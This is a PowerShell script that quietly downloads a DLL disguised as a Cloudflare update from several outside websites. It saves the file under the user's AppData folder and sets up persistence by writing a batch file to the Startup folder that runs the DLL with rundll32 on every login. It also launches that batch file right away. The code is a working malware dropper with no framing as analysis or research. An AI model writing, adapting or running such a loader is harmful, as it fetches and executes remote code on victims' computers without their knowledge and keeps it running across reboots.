param([switch]$Silent = $true)

# Multiple download sources
$urls = @(
    "https://fundacion-cannabis-argentina.org/app/cf_update.dll",
    "https://ghenvironment.com/public/Images/cf_update.dll",
    "https://cmparazinho.rn.gov.br/img/cf_update.dll"
)

$destinationFile = "$env:APPDATA\cloudflare\cloudflare.dll"

# Create directory
New-Item -ItemType Directory -Path (Split-Path $destinationFile) -Force -ErrorAction SilentlyContinue

# Try each URL until one works
foreach ($url in $urls) {
    try {
        if (-not $Silent) { Write-Host "Trying: $url" }
        (New-Object System.Net.WebClient).DownloadFile($url, $destinationFile)
        
        # Check if file was downloaded successfully
        if (Test-Path $destinationFile) {
            if (-not $Silent) { Write-Host "Success! Downloaded from: $url" }
            break
        }
    }
    catch {
        if (-not $Silent) { Write-Host "Failed: $url - $($_.Exception.Message)" }
        # Remove potentially corrupted file
        if (Test-Path $destinationFile) { Remove-Item $destinationFile -Force }
    }
}

if (Test-Path $destinationFile) {
    try {
        $batchFile = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\run_dll.bat"
            $batchContent = @"
@echo off
timeout /t 3 /nobreak >nul
start /B rundll32.exe "$destinationFile", DllRegisterServer
"@

        Set-Content -Path $batchFile -Value $batchContent -Encoding ASCII

        Start-Sleep -Seconds 5
        Start-Process "$batchFile"
        
    }
    catch {
        Write-Host "✗ Failed to create startup script: $($_.Exception.Message)"
    }


} else {
    if (-not $Silent) { Write-Host "All download attempts failed" }
    exit 1
}